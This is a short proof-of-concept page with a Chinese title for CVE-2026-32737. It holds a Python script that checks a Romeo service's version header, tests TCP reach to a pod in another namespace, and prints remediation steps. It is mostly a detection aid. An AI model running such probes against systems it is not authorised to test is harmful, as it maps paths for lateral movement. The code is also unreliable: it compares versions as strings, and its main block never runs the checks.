CVE-2026-32737: Romeo NetworkPolicy配置错误导致横向移动漏洞

# CVE-2026-32737 PoC - Romeo NetworkPolicy Misconfiguration # This PoC demonstrates the lateral movement vulnerability import requests import socket import sys def check_romeo_version(target_url): """Check if target is running vulnerable Romeo version""" try: response = requests.get(f"{target_url}/health", timeout=5) version = response.headers.get('X-Romeo-Version', '') if version and version < '0.2.1': print(f"[VULNERABLE] Romeo version: {version}") return True return False except: return None def test_cross_namespace_access(target_namespace, target_pod_ip): """Test if cross-namespace access is possible from hardened namespace""" # In vulnerable configuration, pods in hardened namespace can reach # pods outside the namespace (e.g., default namespace) try: # Attempt connection to target pod sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) result = sock.connect_ex((target_pod_ip, 8080)) if result == 0: print(f"[CONFIRMED] Cross-namespace access to {target_pod_ip} is possible!") return True return False except Exception as e: print(f"Connection test failed: {e}") return False def list_inter_ns_network_policies(namespace): """Check for vulnerable inter-ns NetworkPolicies""" # kubectl get networkpolicies -n <namespace> | grep inter-ns # Vulnerable policies should be prefixed with 'inter-ns-' print(f"[INFO] Checking NetworkPolicies with 'inter-ns' prefix in namespace: {namespace}") print("[ACTION] Delete any NetworkPolicy prefixed with 'inter-ns-' to mitigate") if __name__ == "__main__": print("CVE-2026-32737 PoC - Romeo NetworkPolicy Lateral Movement") print("=" * 60) print("Remediation: Upgrade Romeo to >= 0.2.1 or delete inter-ns NetworkPolicies")